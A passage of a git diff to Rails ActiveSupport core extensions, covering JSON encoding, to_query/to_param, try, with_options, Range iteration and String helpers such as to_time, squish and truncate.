diff --git a/activesupport/lib/active_support/core_ext/object/itself.rb b/activesupport/lib/active_support/core_ext/object/itself.rb
new file mode 100644
index 0000000000..d71cea6674
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/itself.rb
@@ -0,0 +1,15 @@
+class Object
+ # TODO: Remove this file when we drop support for Ruby < 2.2
+ unless respond_to?(:itself)
+ # Returns the object itself.
+ #
+ # Useful for chaining methods, such as Active Record scopes:
+ #
+ # Event.public_send(state.presence_in([ :trashed, :drafted ]) || :itself).order(:created_at)
+ #
+ # @return Object
+ def itself
+ self
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/json.rb b/activesupport/lib/active_support/core_ext/object/json.rb
new file mode 100644
index 0000000000..698b2d1920
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/json.rb
@@ -0,0 +1,197 @@
+# Hack to load json gem first so we can overwrite its to_json.
+require 'json'
+require 'bigdecimal'
+require 'active_support/core_ext/big_decimal/conversions' # for #to_s
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/object/instance_variables'
+require 'time'
+require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/date_time/conversions'
+require 'active_support/core_ext/date/conversions'
+require 'active_support/core_ext/module/aliasing'
+
+# The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
+# their default behavior. That said, we need to define the basic to_json method in all of them,
+# otherwise they will always use to_json gem implementation, which is backwards incompatible in
+# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
+# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
+#
+# On the other hand, we should avoid conflict with ::JSON.{generate,dump}(obj). Unfortunately, the
+# JSON gem's encoder relies on its own to_json implementation to encode objects. Since it always
+# passes a ::JSON::State object as the only argument to to_json, we can detect that and forward the
+# calls to the original to_json method.
+#
+# It should be noted that when using ::JSON.{generate,dump} directly, ActiveSupport's encoder is
+# bypassed completely. This means that as_json won't be invoked and the JSON gem will simply
+# ignore any options it does not natively understand. This also means that ::JSON.{generate,dump}
+# should give exactly the same results with or without active support.
+[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass, Enumerable].each do |klass|
+ klass.class_eval do
+ def to_json_with_active_support_encoder(options = nil)
+ if options.is_a?(::JSON::State)
+ # Called from JSON.{generate,dump}, forward it to JSON gem's to_json
+ self.to_json_without_active_support_encoder(options)
+ else
+ # to_json is being invoked directly, use ActiveSupport's encoder
+ ActiveSupport::JSON.encode(self, options)
+ end
+ end
+
+ alias_method_chain :to_json, :active_support_encoder
+ end
+end
+
+class Object
+ def as_json(options = nil) #:nodoc:
+ if respond_to?(:to_hash)
+ to_hash.as_json(options)
+ else
+ instance_values.as_json(options)
+ end
+ end
+end
+
+class Struct #:nodoc:
+ def as_json(options = nil)
+ Hash[members.zip(values)].as_json(options)
+ end
+end
+
+class TrueClass
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+end
+
+class FalseClass
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+end
+
+class NilClass
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+end
+
+class String
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+end
+
+class Symbol
+ def as_json(options = nil) #:nodoc:
+ to_s
+ end
+end
+
+class Numeric
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+end
+
+class Float
+ # Encoding Infinity or NaN to JSON should return "null". The default returns
+ # "Infinity" or "NaN" which are not valid JSON.
+ def as_json(options = nil) #:nodoc:
+ finite? ? self : nil
+ end
+end
+
+class BigDecimal
+ # A BigDecimal would be naturally represented as a JSON number. Most libraries,
+ # however, parse non-integer JSON numbers directly as floats. Clients using
+ # those libraries would get in general a wrong number and no way to recover
+ # other than manually inspecting the string with the JSON code itself.
+ #
+ # That's why a JSON string is returned. The JSON literal is not numeric, but
+ # if the other end knows by contract that the data is supposed to be a
+ # BigDecimal, it still has the chance to post-process the string and get the
+ # real value.
+ def as_json(options = nil) #:nodoc:
+ finite? ? to_s : nil
+ end
+end
+
+class Regexp
+ def as_json(options = nil) #:nodoc:
+ to_s
+ end
+end
+
+module Enumerable
+ def as_json(options = nil) #:nodoc:
+ to_a.as_json(options)
+ end
+end
+
+class Range
+ def as_json(options = nil) #:nodoc:
+ to_s
+ end
+end
+
+class Array
+ def as_json(options = nil) #:nodoc:
+ map { |v| options ? v.as_json(options.dup) : v.as_json }
+ end
+end
+
+class Hash
+ def as_json(options = nil) #:nodoc:
+ # create a subset of the hash by applying :only or :except
+ subset = if options
+ if attrs = options[:only]
+ slice(*Array(attrs))
+ elsif attrs = options[:except]
+ except(*Array(attrs))
+ else
+ self
+ end
+ else
+ self
+ end
+
+ Hash[subset.map { |k, v| [k.to_s, options ? v.as_json(options.dup) : v.as_json] }]
+ end
+end
+
+class Time
+ def as_json(options = nil) #:nodoc:
+ if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+ xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+ else
+ %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
+ end
+ end
+end
+
+class Date
+ def as_json(options = nil) #:nodoc:
+ if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+ strftime("%Y-%m-%d")
+ else
+ strftime("%Y/%m/%d")
+ end
+ end
+end
+
+class DateTime
+ def as_json(options = nil) #:nodoc:
+ if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+ xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+ else
+ strftime('%Y/%m/%d %H:%M:%S %z')
+ end
+ end
+end
+
+class Process::Status #:nodoc:
+ def as_json(options = nil)
+ { :exitstatus => exitstatus, :pid => pid }
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/to_json.rb b/activesupport/lib/active_support/core_ext/object/to_json.rb
deleted file mode 100644
index 83cc8066e7..0000000000
--- a/activesupport/lib/active_support/core_ext/object/to_json.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# Hack to load json gem first so we can overwrite its to_json.
-begin
- require 'json'
-rescue LoadError
-end
-
-# The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
-# their default behavior. That said, we need to define the basic to_json method in all of them,
-# otherwise they will always use to_json gem implementation, which is backwards incompatible in
-# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
-# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
-[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass].each do |klass|
- klass.class_eval do
- # Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
- def to_json(options = nil)
- ActiveSupport::JSON.encode(self, options)
- end
- end
-end
-
-module Process
- class Status
- def as_json(options = nil)
- { :exitstatus => exitstatus, :pid => pid }
- end
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/object/to_param.rb b/activesupport/lib/active_support/core_ext/object/to_param.rb
index 0d5f3501e5..684d4ef57e 100644
--- a/activesupport/lib/active_support/core_ext/object/to_param.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_param.rb
@@ -1,58 +1 @@
-class Object
- # Alias of <tt>to_s</tt>.
- def to_param
- to_s
- end
-end
-
-class NilClass
- # Returns +self+.
- def to_param
- self
- end
-end
-
-class TrueClass
- # Returns +self+.
- def to_param
- self
- end
-end
-
-class FalseClass
- # Returns +self+.
- def to_param
- self
- end
-end
-
-class Array
- # Calls <tt>to_param</tt> on all its elements and joins the result with
- # slashes. This is used by <tt>url_for</tt> in Action Pack.
- def to_param
- collect { |e| e.to_param }.join '/'
- end
-end
-
-class Hash
- # Returns a string representation of the receiver suitable for use as a URL
- # query string:
- #
- # {name: 'David', nationality: 'Danish'}.to_param
- # # => "name=David&nationality=Danish"
- #
- # An optional namespace can be passed to enclose the param names:
- #
- # {name: 'David', nationality: 'Danish'}.to_param('user')
- # # => "user[name]=David&user[nationality]=Danish"
- #
- # The string pairs "key=value" that conform the query string
- # are sorted lexicographically in ascending order.
- #
- # This method is also aliased as +to_query+.
- def to_param(namespace = nil)
- collect do |key, value|
- value.to_query(namespace ? "#{namespace}[#{key}]" : key)
- end.sort * '&'
- end
-end
+require 'active_support/core_ext/object/to_query'
diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb
index 5d5fcf00e0..ec5ace4e16 100644
--- a/activesupport/lib/active_support/core_ext/object/to_query.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_query.rb
@@ -1,27 +1,84 @@
-require 'active_support/core_ext/object/to_param'
+require 'cgi'
class Object
- # Converts an object into a string suitable for use as a URL query string, using the given <tt>key</tt> as the
- # param name.
- #
- # Note: This method is defined as a default implementation for all Objects for Hash#to_query to work.
+ # Alias of <tt>to_s</tt>.
+ def to_param
+ to_s
+ end
+
+ # Converts an object into a string suitable for use as a URL query string,
+ # using the given <tt>key</tt> as the param name.
def to_query(key)
- require 'cgi' unless defined?(CGI) && defined?(CGI::escape)
"#{CGI.escape(key.to_param)}=#{CGI.escape(to_param.to_s)}"
end
end
+class NilClass
+ # Returns +self+.
+ def to_param
+ self
+ end
+end
+
+class TrueClass
+ # Returns +self+.
+ def to_param
+ self
+ end
+end
+
+class FalseClass
+ # Returns +self+.
+ def to_param
+ self
+ end
+end
+
class Array
+ # Calls <tt>to_param</tt> on all its elements and joins the result with
+ # slashes. This is used by <tt>url_for</tt> in Action Pack.
+ def to_param
+ collect(&:to_param).join '/'
+ end
+
# Converts an array into a string suitable for use as a URL query string,
# using the given +key+ as the param name.
#
# ['Rails', 'coding'].to_query('hobbies') # => "hobbies%5B%5D=Rails&hobbies%5B%5D=coding"
def to_query(key)
prefix = "#{key}[]"
- collect { |value| value.to_query(prefix) }.join '&'
+
+ if empty?
+ nil.to_query(prefix)
+ else
+ collect { |value| value.to_query(prefix) }.join '&'
+ end
end
end
class Hash
- alias_method :to_query, :to_param
+ # Returns a string representation of the receiver suitable for use as a URL
+ # query string:
+ #
+ # {name: 'David', nationality: 'Danish'}.to_query
+ # # => "name=David&nationality=Danish"
+ #
+ # An optional namespace can be passed to enclose key names:
+ #
+ # {name: 'David', nationality: 'Danish'}.to_query('user')
+ # # => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
+ #
+ # The string pairs "key=value" that conform the query string
+ # are sorted lexicographically in ascending order.
+ #
+ # This method is also aliased as +to_param+.
+ def to_query(namespace = nil)
+ collect do |key, value|
+ unless (value.is_a?(Hash) || value.is_a?(Array)) && value.empty?
+ value.to_query(namespace ? "#{namespace}[#{key}]" : key)
+ end
+ end.compact.sort! * '&'
+ end
+
+ alias_method :to_param, :to_query
end
diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb
index 1079ddde98..56da398978 100644
--- a/activesupport/lib/active_support/core_ext/object/try.rb
+++ b/activesupport/lib/active_support/core_ext/object/try.rb
@@ -1,48 +1,78 @@
class Object
- # Invokes the public method identified by the symbol +method+, passing it any arguments
- # and/or the block specified, just like the regular Ruby <tt>Object#public_send</tt> does.
+ # Invokes the public method whose name goes as first argument just like
+ # +public_send+ does, except that if the receiver does not respond to it the
+ # call returns +nil+ rather than raising an exception.
#
- # *Unlike* that method however, a +NoMethodError+ exception will *not* be raised
- # and +nil+ will be returned instead, if the receiving object is a +nil+ object or NilClass.
+ # This method is defined to be able to write
#
- # This is also true if the receiving object does not implemented the tried method. It will
- # return +nil+ in that case as well.
+ # @person.try(:name)
#
- # If try is called without a method to call, it will yield any given block with the object.
+ # instead of
#
- # Please also note that +try+ is defined on +Object+, therefore it won't work with
- # subclasses of +BasicObject+. For example, using try with +SimpleDelegator+ will
- # delegate +try+ to target instead of calling it on delegator itself.
+ # @person.name if @person
#
- # Without +try+
- # @person && @person.name
- # or
- # @person ? @person.name : nil
+ # +try+ calls can be chained:
#
- # With +try+
- # @person.try(:name)
+ # @person.try(:spouse).try(:name)
+ #
+ # instead of
+ #
+ # @person.spouse.name if @person && @person.spouse
+ #
+ # +try+ will also return +nil+ if the receiver does not respond to the method:
+ #
+ # @person.try(:non_existing_method) #=> nil
+ #
+ # instead of
+ #
+ # @person.non_existing_method if @person.respond_to?(:non_existing_method) #=> nil
#
- # +try+ also accepts arguments and/or a block, for the method it is trying
- # Person.try(:find, 1)
- # @people.try(:collect) {|p| p.name}
+ # +try+ returns +nil+ when called on +nil+ regardless of whether it responds
+ # to the method:
#
- # Without a method argument try will yield to the block unless the receiver is nil.
- # @person.try { |p| "#{p.first_name} #{p.last_name}" }
+ # nil.try(:to_i) # => nil, rather than 0
#
- # +try+ behaves like +Object#public_send+, unless called on +NilClass+.
+ # Arguments and blocks are forwarded to the method if invoked:
+ #
+ # @posts.try(:each_slice, 2) do |a, b|
+ # ...
+ # end
+ #
+ # The number of arguments in the signature must match. If the object responds
+ # to the method the call is attempted and +ArgumentError+ is still raised
+ # in case of argument mismatch.
+ #
+ # If +try+ is called without arguments it yields the receiver to a given
+ # block unless it is +nil+:
+ #
+ # @person.try do |p|
+ # ...
+ # end
+ #
+ # You can also call try with a block without accepting an argument, and the block
+ # will be instance_eval'ed instead:
+ #
+ # @person.try { upcase.truncate(50) }
+ #
+ # Please also note that +try+ is defined on +Object+. Therefore, it won't work
+ # with instances of classes that do not have +Object+ among their ancestors,
+ # like direct subclasses of +BasicObject+. For example, using +try+ with
+ # +SimpleDelegator+ will delegate +try+ to the target instead of calling it on
+ # the delegator itself.
def try(*a, &b)
- if a.empty? && block_given?
- yield self
- else
- public_send(*a, &b) if respond_to?(a.first)
- end
+ try!(*a, &b) if a.empty? || respond_to?(a.first)
end
- # Same as #try, but will raise a NoMethodError exception if the receiving is not nil and
- # does not implemented the tried method.
+ # Same as #try, but will raise a NoMethodError exception if the receiver is not +nil+ and
+ # does not implement the tried method.
+
def try!(*a, &b)
if a.empty? && block_given?
- yield self
+ if b.arity.zero?
+ instance_eval(&b)
+ else
+ yield self
+ end
else
public_send(*a, &b)
end
@@ -51,12 +81,12 @@ end
class NilClass
# Calling +try+ on +nil+ always returns +nil+.
- # It becomes specially helpful when navigating through associations that may return +nil+.
+ # It becomes especially helpful when navigating through associations that may return +nil+.
#
# nil.try(:name) # => nil
#
# Without +try+
- # @person && !@person.children.blank? && @person.children.first.name
+ # @person && @person.children.any? && @person.children.first.name
#
# With +try+
# @person.try(:children).try(:first).try(:name)
diff --git a/activesupport/lib/active_support/core_ext/object/with_options.rb b/activesupport/lib/active_support/core_ext/object/with_options.rb
index 42e388b065..7d38e1d134 100644
--- a/activesupport/lib/active_support/core_ext/object/with_options.rb
+++ b/activesupport/lib/active_support/core_ext/object/with_options.rb
@@ -34,9 +34,36 @@ class Object
# body i18n.t :body, user_name: user.name
# end
#
+ # When you don't pass an explicit receiver, it executes the whole block
+ # in merging options context:
+ #
+ # class Account < ActiveRecord::Base
+ # with_options dependent: :destroy do
+ # has_many :customers
+ # has_many :products
+ # has_many :invoices
+ # has_many :expenses
+ # end
+ # end
+ #
# <tt>with_options</tt> can also be nested since the call is forwarded to its receiver.
- # Each nesting level will merge inherited defaults in addition to their own.
- def with_options(options)
- yield ActiveSupport::OptionMerger.new(self, options)
+ #
+ # NOTE: Each nesting level will merge inherited defaults in addition to their own.
+ #
+ # class Post < ActiveRecord::Base
+ # with_options if: :persisted?, length: { minimum: 50 } do
+ # validates :content, if: -> { content.present? }
+ # end
+ # end
+ #
+ # The code is equivalent to:
+ #
+ # validates :content, length: { minimum: 50 }, if: -> { content.present? }
+ #
+ # Hence the inherited default for `if` key is ignored.
+ #
+ def with_options(options, &block)
+ option_merger = ActiveSupport::OptionMerger.new(self, options)
+ block.arity.zero? ? option_merger.instance_eval(&block) : block.call(option_merger)
end
end
diff --git a/activesupport/lib/active_support/core_ext/proc.rb b/activesupport/lib/active_support/core_ext/proc.rb
deleted file mode 100644
index 166c3855a0..0000000000
--- a/activesupport/lib/active_support/core_ext/proc.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "active_support/core_ext/kernel/singleton_class"
-require "active_support/deprecation"
-
-class Proc #:nodoc:
- def bind(object)
- ActiveSupport::Deprecation.warn 'Proc#bind is deprecated and will be removed in future versions'
-
- block, time = self, Time.now
- object.class_eval do
- method_name = "__bind_#{time.to_i}_#{time.usec}"
- define_method(method_name, &block)
- method = instance_method(method_name)
- remove_method(method_name)
- method
- end.bind(object)
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/range.rb b/activesupport/lib/active_support/core_ext/range.rb
index 1d8b1ede5a..9368e81235 100644
--- a/activesupport/lib/active_support/core_ext/range.rb
+++ b/activesupport/lib/active_support/core_ext/range.rb
@@ -1,3 +1,4 @@
require 'active_support/core_ext/range/conversions'
require 'active_support/core_ext/range/include_range'
require 'active_support/core_ext/range/overlaps'
+require 'active_support/core_ext/range/each'
diff --git a/activesupport/lib/active_support/core_ext/range/each.rb b/activesupport/lib/active_support/core_ext/range/each.rb
new file mode 100644
index 0000000000..ecef78f55f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/each.rb
@@ -0,0 +1,23 @@
+require 'active_support/core_ext/module/aliasing'
+
+class Range #:nodoc:
+
+ def each_with_time_with_zone(&block)
+ ensure_iteration_allowed
+ each_without_time_with_zone(&block)
+ end
+ alias_method_chain :each, :time_with_zone
+
+ def step_with_time_with_zone(n = 1, &block)
+ ensure_iteration_allowed
+ step_without_time_with_zone(n, &block)
+ end
+ alias_method_chain :step, :time_with_zone
+
+ private
+ def ensure_iteration_allowed
+ if first.is_a?(Time)
+ raise TypeError, "can't iterate from #{first.class}"
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/range/include_range.rb b/activesupport/lib/active_support/core_ext/range/include_range.rb
index 3af66aaf2f..3a07401c8a 100644
--- a/activesupport/lib/active_support/core_ext/range/include_range.rb
+++ b/activesupport/lib/active_support/core_ext/range/include_range.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/module/aliasing'
+
class Range
# Extends the default Range#include? to support range comparisons.
# (1..5).include?(1..5) # => true
diff --git a/activesupport/lib/active_support/core_ext/string.rb b/activesupport/lib/active_support/core_ext/string.rb
index ad864765a3..c656db2c6c 100644
--- a/activesupport/lib/active_support/core_ext/string.rb
+++ b/activesupport/lib/active_support/core_ext/string.rb
@@ -4,10 +4,10 @@ require 'active_support/core_ext/string/multibyte'
require 'active_support/core_ext/string/starts_ends_with'
require 'active_support/core_ext/string/inflections'
require 'active_support/core_ext/string/access'
-require 'active_support/core_ext/string/xchar'
require 'active_support/core_ext/string/behavior'
require 'active_support/core_ext/string/output_safety'
require 'active_support/core_ext/string/exclude'
require 'active_support/core_ext/string/strip'
require 'active_support/core_ext/string/inquiry'
require 'active_support/core_ext/string/indent'
+require 'active_support/core_ext/string/zones'
diff --git a/activesupport/lib/active_support/core_ext/string/access.rb b/activesupport/lib/active_support/core_ext/string/access.rb
index 8fa8157d65..ebd0dd3fc7 100644
--- a/activesupport/lib/active_support/core_ext/string/access.rb
+++ b/activesupport/lib/active_support/core_ext/string/access.rb
@@ -8,22 +8,22 @@ class String
# the beginning of the range is greater than the end of the string.
#
# str = "hello"
- # str.at(0) #=> "h"
- # str.at(1..3) #=> "ell"
- # str.at(-2) #=> "l"
- # str.at(-2..-1) #=> "lo"
- # str.at(5) #=> nil
- # str.at(5..-1) #=> ""
+ # str.at(0) # => "h"
+ # str.at(1..3) # => "ell"
+ # str.at(-2) # => "l"
+ # str.at(-2..-1) # => "lo"
+ # str.at(5) # => nil
+ # str.at(5..-1) # => ""
#
# If a Regexp is given, the matching portion of the string is returned.
# If a String is given, that given string is returned if it occurs in
# the string. In both cases, nil is returned if there is no match.
#
# str = "hello"
- # str.at(/lo/) #=> "lo"
- # str.at(/ol/) #=> nil
- # str.at("lo") #=> "lo"
- # str.at("ol") #=> nil
+ # str.at(/lo/) # => "lo"
+ # str.at(/ol/) # => nil
+ # str.at("lo") # => "lo"
+ # str.at("ol") # => nil
def at(position)
self[position]
end
@@ -32,15 +32,15 @@ class String
# If the position is negative, it is counted from the end of the string.
#
# str = "hello"
- # str.from(0) #=> "hello"
- # str.from(3) #=> "lo"
- # str.from(-2) #=> "lo"
+ # str.from(0) # => "hello"
+ # str.from(3) # => "lo"
+ # str.from(-2) # => "lo"
#
# You can mix it with +to+ method and do fun things like:
#
# str = "hello"
- # str.from(0).to(-1) #=> "hello"
- # str.from(1).to(-2) #=> "ell"
+ # str.from(0).to(-1) # => "hello"
+ # str.from(1).to(-2) # => "ell"
def from(position)
self[position..-1]
end
@@ -49,34 +49,34 @@ class String
# If the position is negative, it is counted from the end of the string.
#
# str = "hello"
- # str.to(0) #=> "h"
- # str.to(3) #=> "hell"
- # str.to(-2) #=> "hell"
+ # str.to(0) # => "h"
+ # str.to(3) # => "hell"
+ # str.to(-2) # => "hell"
#
# You can mix it with +from+ method and do fun things like:
#
# str = "hello"
- # str.from(0).to(-1) #=> "hello"
- # str.from(1).to(-2) #=> "ell"
+ # str.from(0).to(-1) # => "hello"
+ # str.from(1).to(-2) # => "ell"
def to(position)
self[0..position]
end
# Returns the first character. If a limit is supplied, returns a substring
# from the beginning of the string until it reaches the limit value. If the
- # given limit is greater than or equal to the string length, returns self.
+ # given limit is greater than or equal to the string length, returns a copy of self.
#
# str = "hello"
- # str.first #=> "h"
- # str.first(1) #=> "h"
- # str.first(2) #=> "he"
- # str.first(0) #=> ""
- # str.first(6) #=> "hello"
+ # str.first # => "h"
+ # str.first(1) # => "h"
+ # str.first(2) # => "he"
+ # str.first(0) # => ""
+ # str.first(6) # => "hello"
def first(limit = 1)
if limit == 0
''
elsif limit >= size
- self
+ self.dup
else
to(limit - 1)
end
@@ -84,19 +84,19 @@ class String
# Returns the last character of the string. If a limit is supplied, returns a substring
# from the end of the string until it reaches the limit value (counting backwards). If
- # the given limit is greater than or equal to the string length, returns self.
+ # the given limit is greater than or equal to the string length, returns a copy of self.
#
# str = "hello"
- # str.last #=> "o"
- # str.last(1) #=> "o"
- # str.last(2) #=> "lo"
- # str.last(0) #=> ""
- # str.last(6) #=> "hello"
+ # str.last # => "o"
+ # str.last(1) # => "o"
+ # str.last(2) # => "lo"
+ # str.last(0) # => ""
+ # str.last(6) # => "hello"
def last(limit = 1)
if limit == 0
''
elsif limit >= size
- self
+ self.dup
else
from(-limit)
end
diff --git a/activesupport/lib/active_support/core_ext/string/conversions.rb b/activesupport/lib/active_support/core_ext/string/conversions.rb
index 9b9d83932e..3e0cb8a7ac 100644
--- a/activesupport/lib/active_support/core_ext/string/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/string/conversions.rb
@@ -3,56 +3,54 @@ require 'active_support/core_ext/time/calculations'
class String
# Converts a string to a Time value.
- # The +form+ can be either :utc or :local (default :utc).
+ # The +form+ can be either :utc or :local (default :local).
#
- # The time is parsed using Date._parse method.
- # If +form+ is :local, then time is formatted using Time.zone
+ # The time is parsed using Time.parse method.
+ # If +form+ is :local, then the time is in the system timezone.
+ # If the date part is missing then the current date is used and if
+ # the time part is missing then it is assumed to be 00:00:00.
#
- # "3-2-2012".to_time # => 2012-02-03 00:00:00 UTC
- # "12:20".to_time # => ArgumentError: invalid date
- # "2012-12-13 06:12".to_time # => 2012-12-13 06:12:00 UTC
- # "2012-12-13T06:12".to_time # => 2012-12-13 06:12:00 UTC
- # "2012-12-13T06:12".to_time(:local) # => 2012-12-13 06:12:00 +0100
- def to_time(form = :utc)
- unless blank?
- date_values = ::Date._parse(self, false).
- values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset).
- map! { |arg| arg || 0 }
- date_values[6] *= 1000000
- offset = date_values.pop
+ # "13-12-2012".to_time # => 2012-12-13 00:00:00 +0100
+ # "06:12".to_time # => 2012-12-13 06:12:00 +0100
+ # "2012-12-13 06:12".to_time # => 2012-12-13 06:12:00 +0100
+ # "2012-12-13T06:12".to_time # => 2012-12-13 06:12:00 +0100
+ # "2012-12-13T06:12".to_time(:utc) # => 2012-12-13 05:12:00 UTC
+ # "12/13/2012".to_time # => ArgumentError: argument out of range
+ def to_time(form = :local)
+ parts = Date._parse(self, false)
+ return if parts.empty?
- ::Time.send("#{form}_time", *date_values) - offset
- end
+ now = Time.now
+ time = Time.new(
+ parts.fetch(:year, now.year),
+ parts.fetch(:mon, now.month),
+ parts.fetch(:mday, now.day),
+ parts.fetch(:hour, 0),
+ parts.fetch(:min, 0),
+ parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
+ parts.fetch(:offset, form == :utc ? 0 : nil)
+ )
+
+ form == :utc ? time.utc : time.getlocal
end
# Converts a string to a Date value.
#
- # "1-1-2012".to_date #=> Sun, 01 Jan 2012
- # "01/01/2012".to_date #=> Sun, 01 Jan 2012
- # "2012-12-13".to_date #=> Thu, 13 Dec 2012
- # "12/13/2012".to_date #=> ArgumentError: invalid date
+ # "1-1-2012".to_date # => Sun, 01 Jan 2012
+ # "01/01/2012".to_date # => Sun, 01 Jan 2012
+ # "2012-12-13".to_date # => Thu, 13 Dec 2012
+ # "12/13/2012".to_date # => ArgumentError: invalid date
def to_date
- unless blank?
- date_values = ::Date._parse(self, false).values_at(:year, :mon, :mday)
-
- ::Date.new(*date_values)
- end
+ ::Date.parse(self, false) unless blank?
end
# Converts a string to a DateTime value.
#
- # "1-1-2012".to_datetime #=> Sun, 01 Jan 2012 00:00:00 +0000
- # "01/01/2012 23:59:59".to_datetime #=> Sun, 01 Jan 2012 23:59:59 +0000
- # "2012-12-13 12:50".to_datetime #=> Thu, 13 Dec 2012 12:50:00 +0000
- # "12/13/2012".to_datetime #=> ArgumentError: invalid date
+ # "1-1-2012".to_datetime # => Sun, 01 Jan 2012 00:00:00 +0000
+ # "01/01/2012 23:59:59".to_datetime # => Sun, 01 Jan 2012 23:59:59 +0000
+ # "2012-12-13 12:50".to_datetime # => Thu, 13 Dec 2012 12:50:00 +0000
+ # "12/13/2012".to_datetime # => ArgumentError: invalid date
def to_datetime
- unless blank?
- date_values = ::Date._parse(self, false).
- values_at(:year, :mon, :mday, :hour, :min, :sec, :zone, :sec_fraction).
- map! { |arg| arg || 0 }
- date_values[5] += date_values.pop
-
- ::DateTime.civil(*date_values)
- end
+ ::DateTime.parse(self, false) unless blank?
end
end
diff --git a/activesupport/lib/active_support/core_ext/string/encoding.rb b/activesupport/lib/active_support/core_ext/string/encoding.rb
deleted file mode 100644
index a583b914db..0000000000
--- a/activesupport/lib/active_support/core_ext/string/encoding.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'active_support/deprecation'
-
-class String
- def encoding_aware?
- ActiveSupport::Deprecation.warn 'String#encoding_aware? is deprecated'
- true
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/string/exclude.rb b/activesupport/lib/active_support/core_ext/string/exclude.rb
index 114bcb87f0..0ac684f6ee 100644
--- a/activesupport/lib/active_support/core_ext/string/exclude.rb
+++ b/activesupport/lib/active_support/core_ext/string/exclude.rb
@@ -2,9 +2,9 @@ class String
# The inverse of <tt>String#include?</tt>. Returns true if the string
# does not include the other string.
#
- # "hello".exclude? "lo" #=> false
- # "hello".exclude? "ol" #=> true
- # "hello".exclude? ?h #=> false
+ # "hello".exclude? "lo" # => false
+ # "hello".exclude? "ol" # => true
+ # "hello".exclude? ?h # => false
def exclude?(string)
!include?(string)
end
diff --git a/activesupport/lib/active_support/core_ext/string/filters.rb b/activesupport/lib/active_support/core_ext/string/filters.rb
index e05447439a..096292dc58 100644
--- a/activesupport/lib/active_support/core_ext/string/filters.rb
+++ b/activesupport/lib/active_support/core_ext/string/filters.rb
@@ -3,6 +3,8 @@ class String
# the string, and then changing remaining consecutive whitespace
# groups into one space each.
#
+ # Note that it handles both ASCII and Unicode whitespace.
+ #
# %{ Multi-line
# string }.squish # => "Multi-line string"
# " foo bar \n \t boo".squish # => "foo bar boo"
@@ -11,9 +13,33 @@ class String
end
# Performs a destructive squish. See String#squish.
+ # str = " foo bar \n \t boo"
+ # str.squish! # => "foo bar boo"
+ # str # => "foo bar boo"
def squish!
- strip!
- gsub!(/\s+/, ' ')
+ gsub!(/\A[[:space:]]+/, '')
+ gsub!(/[[:space:]]+\z/, '')
+ gsub!(/[[:space:]]+/, ' ')
+ self
+ end
+
+ # Returns a new string with all occurrences of the patterns removed.
+ # str = "foo bar test"
+ # str.remove(" test") # => "foo bar"
+ # str # => "foo bar test"
+ def remove(*patterns)
+ dup.remove!(*patterns)
+ end
+
+ # Alters the string by removing all occurrences of the patterns.
+ # str = "foo bar test"
+ # str.remove!(" test") # => "foo bar"
+ # str # => "foo bar"
+ def remove!(*patterns)
+ patterns.each do |pattern|
+ gsub! pattern, ""
+ end
+
self
end
@@ -38,8 +64,8 @@ class String
def truncate(truncate_at, options = {})
return dup unless length > truncate_at
- options[:omission] ||= '...'
- length_with_room_for_omission = truncate_at - options[:omission].length
+ omission = options[:omission] || '...'
+ length_with_room_for_omission = truncate_at - omission.length
stop = \
if options[:separator]
rindex(options[:separator], length_with_room_for_omission) || length_with_room_for_omission
@@ -47,6 +73,30 @@ class String
length_with_room_for_omission
end
- self[0...stop] + options[:omission]
+ "#{self[0, stop]}#{omission}"
+ end
+
+ # Truncates a given +text+ after a given number of words (<tt>words_count</tt>):
+ #
+ # 'Once upon a time in a world far far away'.truncate_words(4)
+ # # => "Once upon a time..."
+ #
+ # Pass a string or regexp <tt>:separator</tt> to specify a different separator of words:
+ #
+ # 'Once<br>upon<br>a<br>time<br>in<br>a<br>world'.truncate_words(5, separator: '<br>')
+ # # => "Once<br>upon<br>a<br>time<br>in..."
+ #
+ # The last characters will be replaced with the <tt>:omission</tt> string (defaults to "..."):
+ #
+ # 'And they found that many people were sleeping better.'.truncate_words(5, omission: '... (continued)')
+ # # => "And they found that many... (continued)"
